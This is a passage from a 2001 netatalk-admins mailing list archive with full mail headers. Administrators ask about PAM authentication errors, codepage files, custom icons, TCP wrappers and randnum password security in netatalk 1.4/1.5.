20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Fri Aug 31 05:59:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA24038
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 31 Aug 2001 05:59:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA21339
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 31 Aug 2001 05:59:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA21330
	for netatalk.administrators-members@umich.edu; Fri, 31 Aug 2001 05:59:32 -0400 (EDT)
Received: from red.csi.cam.ac.uk (red.csi.cam.ac.uk [131.111.8.70])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA21311
	for <netatalk-admins@umich.edu>; Fri, 31 Aug 2001 05:59:31 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by red.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 15cl5H-0005QG-00
	for netatalk-admins@umich.edu; Fri, 31 Aug 2001 10:59:31 +0100
Date: Fri, 31 Aug 2001 10:59:31 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@red.csi.cam.ac.uk>
To: <netatalk-admins@umich.edu>
Subject: Default custom system Icons for all users?
Message-ID: <Pine.SOL.4.33.0108311045350.5357-100000@red.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Dear all,

Could anyone tell me if I can create system wide custom default icons? I
am not sure how -icon works in afpd.conf, do I point it to a gif? As far
as I know the globe icon is in etc/afpd/icon.h but how may I change this?

All the best,

Ian.

System RedHat 7.1
netatalk 1.5pre7




From netatalk.administrators-errors@umich.edu  Fri Aug 31 13:55:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA16832
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 31 Aug 2001 13:55:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA17159
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 31 Aug 2001 13:55:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA17144
	for netatalk.administrators-members@umich.edu; Fri, 31 Aug 2001 13:55:08 -0400 (EDT)
Received: from eagle.lethbridgecollege.ab.ca ([199.185.124.76])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA17053
	for <netatalk-admins@umich.edu>; Fri, 31 Aug 2001 13:55:03 -0400 (EDT)
Received: from lethbridgecollege.ab.ca ([172.16.6.217])
 by LETHBRIDGECOLLEGE.AB.CA (PMDF V6.0-24 #42392)
 with ESMTPA id <01K7S74Q4HF090YA0M@LETHBRIDGECOLLEGE.AB.CA> for
 netatalk-admins@umich.edu; Fri, 31 Aug 2001 11:57:36 -0600 (MDT)
Date: Fri, 31 Aug 2001 11:50:45 -0600
From: James Litwin <james.litwin@LETHBRIDGECOLLEGE.AB.CA>
Subject: PAM Problems  -- netatalk-1.5pre7
To: netatalk-admins@umich.edu
Message-id: <3B8FCF6E.80734995@lethbridgecollege.ab.ca>
MIME-version: 1.0
X-Mailer: Mozilla 4.73 (Macintosh; U; PPC)
Content-type: multipart/mixed; boundary=------------6D57B18D49C85CCDE3478CA1
X-Accept-Language: en,pdf

This is a multi-part message in MIME format.
--------------6D57B18D49C85CCDE3478CA1
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

I am having problem getting PAM to work correctly with
"netatalk-1.5pre7". I have complied this version every way possible and
this is as close as I get to it working with PAM.

I am useing Mandrake 8.0

Error:

Aug 31 11:22:44 studentfile01 afpd[12044]: uams_dhx_pam.c :PAM:
PAM_Error: Authe
ntication failure -- No such file or directory

Any ideas?

Thanks
James

--------------6D57B18D49C85CCDE3478CA1
Content-Type: text/x-vcard; charset=us-ascii;
 name="james.litwin.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for James Litwin
Content-Disposition: attachment;
 filename="james.litwin.vcf"

begin:vcard 
n:Litwin;James
tel;fax:403-380-3487
tel;work:403-329-7206
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:james.litwin@lethbridgecollege.ab.ca
x-mozilla-cpt:;1
fn:James Litwin
end:vcard

--------------6D57B18D49C85CCDE3478CA1--


From netatalk.administrators-errors@umich.edu  Fri Aug 31 14:18:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA18290
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 31 Aug 2001 14:18:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA13707
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 31 Aug 2001 14:18:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA13697
	for netatalk.administrators-members@umich.edu; Fri, 31 Aug 2001 14:18:17 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA13682
	for <netatalk-admins@umich.edu>; Fri, 31 Aug 2001 14:18:16 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f7VIIED27285;
	Fri, 31 Aug 2001 14:18:14 -0400
Message-ID: <3B8FD4C5.9050204@univrel.pr.uconn.edu>
Date: Fri, 31 Aug 2001 14:17:41 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010802
X-Accept-Language: en-us
MIME-Version: 1.0
To: James Litwin <james.litwin@LETHBRIDGECOLLEGE.AB.CA>
CC: netatalk-admins@umich.edu
Subject: Re: PAM Problems  -- netatalk-1.5pre7
References: <3B8FCF6E.80734995@lethbridgecollege.ab.ca>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

James Litwin wrote:
> I am having problem getting PAM to work correctly with
> "netatalk-1.5pre7". I have complied this version every way possible 
> and this is as close as I get to it working with PAM.
> 
> I am useing Mandrake 8.0
> 
> Error:
> 
> Aug 31 11:22:44 studentfile01 afpd[12044]: uams_dhx_pam.c :PAM:
> PAM_Error: Authe
> ntication failure -- No such file or directory

Check to see if /etc/pam.d/netatalk exists; the distribution might be 
mistakenly putting it in /etc/netatalk or /etc/atalk as netatalk.pamd

Thanks,
Jeff




From netatalk.administrators-errors@umich.edu  Fri Aug 31 18:28:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA05292
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 31 Aug 2001 18:28:34 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA24878
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 31 Aug 2001 18:28:19 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA24862
	for netatalk.administrators-members@umich.edu; Fri, 31 Aug 2001 18:28:18 -0400 (EDT)
Received: from eagle.lethbridgecollege.ab.ca ([199.185.124.76])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA15799
	for <netatalk-admins@umich.edu>; Fri, 31 Aug 2001 15:25:04 -0400 (EDT)
Received: from lethbridgecollege.ab.ca ([172.16.6.217])
 by LETHBRIDGECOLLEGE.AB.CA (PMDF V6.0-24 #42392)
 with ESMTPA id <01K7SAALSPCM90UEDZ@LETHBRIDGECOLLEGE.AB.CA> for
 netatalk-admins@umich.edu; Fri, 31 Aug 2001 13:27:51 -0600 (MDT)
Date: Fri, 31 Aug 2001 13:21:00 -0600
From: James Litwin <james.litwin@LETHBRIDGECOLLEGE.AB.CA>
Subject: Re: PAM Problems  -- netatalk-1.5pre7
To: jeff <jeff@univrel.pr.uconn.edu>
Cc: netatalk-admins@umich.edu
Message-id: <3B8FE495.7B27F285@lethbridgecollege.ab.ca>
MIME-version: 1.0
X-Mailer: Mozilla 4.73 (Macintosh; U; PPC)
Content-type: multipart/mixed; boundary=------------2A49619C93AE84BB8BD1AFE4
X-Accept-Language: en,pdf
References: <3B8FCF6E.80734995@lethbridgecollege.ab.ca>
 <3B8FD4C5.9050204@univrel.pr.uconn.edu>

This is a multi-part message in MIME format.
--------------2A49619C93AE84BB8BD1AFE4
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Thanks for the first fixed problem ...... now I get these errors.....

Aug 31 13:16:04 studentfile01 afpd[13205]: dhx login: test_student
Aug 31 13:16:04 studentfile01 afpd[13205]: PAM unable to
dlopen(/lib/security/pam_unix.so)
Aug 31 13:16:04 studentfile01 afpd[13205]: PAM [dlerror:
/lib/security/pam_unix.so: undefined symbol: pam_get_item]
Aug 31 13:16:04 studentfile01 afpd[13205]: PAM adding faulty module:
/lib/security/pam_unix.so
Aug 31 13:16:04 studentfile01 afpd[13205]: uams_dhx_pam.c :PAM:
PAM_Error: Module is unknown -- Interrupted system call

Any ideas on this one?

Thanks Again
James


jeff wrote:

> James Litwin wrote:
> > I am having problem getting PAM to work correctly with
> > "netatalk-1.5pre7". I have complied this version every way possible
> > and this is as close as I get to it working with PAM.
> >
> > I am useing Mandrake 8.0
> >
> > Error:
> >
> > Aug 31 11:22:44 studentfile01 afpd[12044]: uams_dhx_pam.c :PAM:
> > PAM_Error: Authe
> > ntication failure -- No such file or directory
>
> Check to see if /etc/pam.d/netatalk exists; the distribution might be
> mistakenly putting it in /etc/netatalk or /etc/atalk as netatalk.pamd
>
> Thanks,
> Jeff

--------------2A49619C93AE84BB8BD1AFE4
Content-Type: text/x-vcard; charset=us-ascii;
 name="james.litwin.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for James Litwin
Content-Disposition: attachment;
 filename="james.litwin.vcf"

begin:vcard 
n:Litwin;James
tel;fax:403-380-3487
tel;work:403-329-7206
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:james.litwin@lethbridgecollege.ab.ca
x-mozilla-cpt:;1
fn:James Litwin
end:vcard

--------------2A49619C93AE84BB8BD1AFE4--


From netatalk.administrators-errors@umich.edu  Sat Sep  1 09:34:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05469
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 1 Sep 2001 09:34:59 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA21058
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 1 Sep 2001 09:34:59 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA20870
	for netatalk.administrators-members@umich.edu; Sat, 1 Sep 2001 09:34:55 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA20689
	for <netatalk-admins@umich.edu>; Sat, 1 Sep 2001 09:34:51 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id KAA13619
	for <netatalk-admins@umich.edu>; Sat, 1 Sep 2001 10:05:45 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: After recompile only g4's can't see server
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Sat, 1 Sep 2001 09:34:47 -0400
Message-ID: <1ez1ukb.hwyanl1xv9yiyM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 221 days)

The subject says it.

I rebuilt netatalk and now three of my g4's can't see the server.

Everybody else can.

From netatalk.administrators-errors@umich.edu  Sun Sep  2 15:35:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA29925
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 2 Sep 2001 15:35:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA23314
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 2 Sep 2001 15:35:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA23281
	for netatalk.administrators-members@umich.edu; Sun, 2 Sep 2001 15:35:24 -0400 (EDT)
Received: from morpheus.webprojkt.com (morpheus.webprojkt.com [209.61.155.148])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA23218
	for <netatalk-admins@umich.edu>; Sun, 2 Sep 2001 15:35:22 -0400 (EDT)
Received: (qmail 27708 invoked by uid 604); 2 Sep 2001 19:35:36 -0000
Received: from unknown (HELO webprojkt.com) (24.183.6.53)
  by morpheus.webprojkt.com with SMTP; 2 Sep 2001 19:35:36 -0000
Message-ID: <3B928A08.3050206@webprojkt.com>
Date: Sun, 02 Sep 2001 14:35:36 -0500
From: Brice D Ruth <brice@webprojkt.com>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.3+) Gecko/20010828
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Thank you.
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi folks.

I've been following the netatalk-devel and netatalk-admins list for a 
while now and been using netatalk even longer.  I know there are still 
problems that need ironing out - things aren't perfect and all, but I 
wanted to say thank you for a job very well done.  Ever since starting 
to work with Mac OS X, I've had problems with my netatalk server ... I 
finally grabbed 1.5pre7, compiled it and installed it and everything 
seems to work now.  I'm sure my needs aren't nearly that of some 
people's, but nevertheless, thank you - you've all done well.  Kudos.

-Brice Ruth


From netatalk.administrators-errors@umich.edu  Sun Sep  2 16:01:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA00546
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 2 Sep 2001 16:01:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA07534
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 2 Sep 2001 16:01:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA07496
	for netatalk.administrators-members@umich.edu; Sun, 2 Sep 2001 16:01:02 -0400 (EDT)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA07366
	for <netatalk-admins@umich.edu>; Sun, 2 Sep 2001 16:00:59 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000100676 for <netatalk-admins@umich.edu>; Sun, 02 Sep 2001 22:00:57 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a05101000b7b8399a7743@[192.168.1.201]>
In-Reply-To: <B7B2F80B.2A704%ts@visual-s.de>
References: <B7B2F80B.2A704%ts@visual-s.de>
Date: Sun, 2 Sep 2001 22:00:47 +0200
To: Netatalk-Admins <netatalk-admins@umich.edu>
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: codepage problems: version not supported
Content-Type: text/plain; charset="us-ascii"

Hi all, 

I've been fighting (I wonder when I've ever NOT been fighting with netatalk...) with the codepage issue all day now. 
No message on this list could help me this time unfortunately.
Still using 1.4b2+asun2.1.4pre_37_test, BTW (best bet for me...). 
The server OS is SuSE Linux 7.1 on an Intel Box. 

I fought... until I finally found out a message in /var/log/messages that pointed out:

Sep  2 15:56:31 myhost afpd[5609]: /usr/local/atalk/etc/nls/maccode.iso8859-1: codepage version not supported

So I gathered together all the 'maccode.iso8859-1' codepages I had in the (as always) multiple installations of netatalk, and tried them one by one until I finally had the working one. 

In fact, I think this happened because I ended up mixing atalk directories... (so picking the one compiled with your favorite ntalk should do), but one never knows with netatalk... 

Pasting those cpages into this message sure won't make any sense (I can mail a .tar with the ones I have if anybody wishes so) - but mind /var/log/messages.... 
if they're not missing they might be the wrong ones...

just in case you (have) run into the same problem....

(yuppeee, finally filenames on a common ISO ground.....)

:-!

Lorenzo



From netatalk.administrators-errors@umich.edu  Mon Sep  3 02:29:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA18874
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Sep 2001 02:29:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA09615
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Sep 2001 02:29:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA09571
	for netatalk.administrators-members@umich.edu; Mon, 3 Sep 2001 02:29:21 -0400 (EDT)
Received: from msa2.hinet.net (msa2.hinet.net [168.95.4.212])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA09498
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 02:29:18 -0400 (EDT)
Received: from www.elitecolor.com.tw ([211.23.26.10])
	by msa2.hinet.net (8.8.8/8.8.8) with ESMTP id OAA00755
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 14:29:30 +0800 (CST)
Sender: root@msa2.hinet.net
Message-ID: <3B931D5C.C1B1A130@www.elitecolor.com.tw>
Date: Mon, 03 Sep 2001 14:04:12 +0800
From: Eddie Liao <eddie@www.elitecolor.com.tw>
Reply-To: eddie@www.elitecolor.com.tw
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: subscribe netatalk-admins@umich.edu
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit




From netatalk.administrators-errors@umich.edu  Mon Sep  3 09:56:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA00826
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Sep 2001 09:56:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA14915
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Sep 2001 09:56:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA14873
	for netatalk.administrators-members@umich.edu; Mon, 3 Sep 2001 09:56:07 -0400 (EDT)
Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA14796
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 09:56:05 -0400 (EDT)
Received: from smtp.netcase.nl (213-84-213-164.adsl.xs4all.nl [213.84.213.164])
	by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id PAA05795
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 15:56:04 +0200 (CEST)
Received: from netcase.nl (neptune.netcase.nl [10.0.0.10])
	by smtp.netcase.nl (Postfix) with ESMTP id 2D3581FE09
	for <netatalk-admins@umich.edu>; Mon,  3 Sep 2001 14:31:31 +0200 (CEST)
Message-ID: <3B938BD7.C861522B@netcase.nl>
Date: Mon, 03 Sep 2001 15:55:35 +0200
From: Nicky Haan <nicky@netcase.nl>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: subscribe
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



--
----------------------------------------
Nicky Haan
Unix/Linux Sysadmin / Systems Engineer
NetCASE Interactive Solutions
Dr. Nolenslaan 140
6136 GV Sittard
Netherlands
Tel: +31(0)46 420 1880
Fax: +31(0)46 420 1881
E-Mail: Nicky@netcase.nl
Web: www.netcase.nl
----------------------------------------



From netatalk.administrators-errors@umich.edu  Mon Sep  3 10:01:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00986
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Sep 2001 10:01:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA25832
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Sep 2001 10:01:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA25787
	for netatalk.administrators-members@umich.edu; Mon, 3 Sep 2001 10:01:00 -0400 (EDT)
Received: from belkacem.ch (adsl-219-37.cybernet.ch [212.90.219.37] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA25705
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 10:00:58 -0400 (EDT)
Received: from [192.168.99.6] (mac1.belkacem.ch [192.168.99.6])
	by belkacem.ch (Postfix) with ESMTP id A70A4BC8C
	for <netatalk-admins@umich.edu>; Mon,  3 Sep 2001 16:00:18 +0200 (CEST)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 03 Sep 2001 16:00:45 +0200
Subject: <Kein Betreff>
From: Said Belkacem <admin@belkacem.ch>
To: <netatalk-admins@umich.edu>
Message-ID: <B7B959AC.CEE%admin@belkacem.ch>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

subscribe


From netatalk.administrators-errors@umich.edu  Mon Sep  3 17:45:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA14906
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Sep 2001 17:45:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA14893
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Sep 2001 17:45:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA14838
	for netatalk.administrators-members@umich.edu; Mon, 3 Sep 2001 17:45:10 -0400 (EDT)
Received: from mail.virginia.edu (mail.Virginia.EDU [128.143.2.9])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA14753
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 17:45:06 -0400 (EDT)
Received: from neon.mail.virginia.edu by mail.virginia.edu id aa23561;
          3 Sep 2001 17:45 EDT
Received: from virginia.edu (yammer.music.Virginia.EDU [128.143.140.30])
	by neon.mail.Virginia.EDU (8.9.3/8.9.3) with ESMTP id RAA29013
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 17:45:05 -0400 (EDT)
Sender: djt7p@cms.mail.virginia.edu
Message-ID: <3B9408CF.3F467BCE@virginia.edu>
Date: Mon, 03 Sep 2001 18:48:47 -0400
From: "David J. Topper" <topper@virginia.edu>
Organization: UVA - VCCM
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Can't get 1.4b2+asun2.1.3 working properly
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi folks,

A few main problems:

1.  I can't get this thing to TCP wrap.  Everything else on my box works
fine with wrappers except Netatalk, which just lets anybody in.  I
commented out the line in the toplevel Makefile.  Still no dice.  It
points to /usr/inlucde which is where all the .h's it needs should be.

2.  Logging in.  I can only log in as guest.  I do have the -DSHADOWPW
option set in the afpd makefile.  I'm running a Slackware box with md5
passwords.  Slackware doesn't use PAM as far as I know.

3.  Printing.  I won't go there now.  #1 an #2 are enough to chew on.

Any advice / input would be greatly appreciated.

Thanks,

DT
--
Technical Director, Virginia Center for Computer Music
http://www.people.virginia.edu/~djt7p
(804) 924-7355

From netatalk.administrators-errors@umich.edu  Mon Sep  3 20:33:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA20256
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Sep 2001 20:33:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA16273
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Sep 2001 20:33:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA16244
	for netatalk.administrators-members@umich.edu; Mon, 3 Sep 2001 20:33:51 -0400 (EDT)
Received: from mail.virginia.edu (mail.Virginia.EDU [128.143.2.9])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id UAA16189
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 20:33:49 -0400 (EDT)
Received: from neon.mail.virginia.edu by mail.virginia.edu id aa13262;
          3 Sep 2001 20:33 EDT
Received: from virginia.edu (jangle.music.Virginia.EDU [128.143.140.24])
	by neon.mail.Virginia.EDU (8.9.3/8.9.3) with ESMTP id UAA26161
	for <netatalk-admins@umich.edu>; Mon, 3 Sep 2001 20:33:46 -0400 (EDT)
Sender: djt7p@cms.mail.virginia.edu
Message-ID: <3B93E953.1F0D4FCA@virginia.edu>
Date: Mon, 03 Sep 2001 20:34:27 +0000
From: "David J. Topper" <topper@virginia.edu>
Organization: UVA - VCCM
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: How does netatalk security work?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi again,

So I've managed to get logins working, but I can't say I'm comfortable
with it.  The only way I could get things to work was:

1.  create a $HOME/.passwd file
2.  edit afsd.conf to only allow randnum or rand2num authentication

But this makes me nervous, because noplace is the user's actualy
password being used.  So that means that (with netatalk running) it's
possible to get access to a user's directories without ever knowing
their password?

Can someone explain what's going on?  This smells like a major security
hole to me.  I appreciate the nicety of being able to use passwords
other than the user's real one, but still.

Thanks,

DT
--
Technical Director, Virginia Center for Computer Music
http://www.people.virginia.edu/~djt7p
(804) 924-7355

From netatalk.administrators-errors@umich.edu  Mon Sep  3 20:45:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
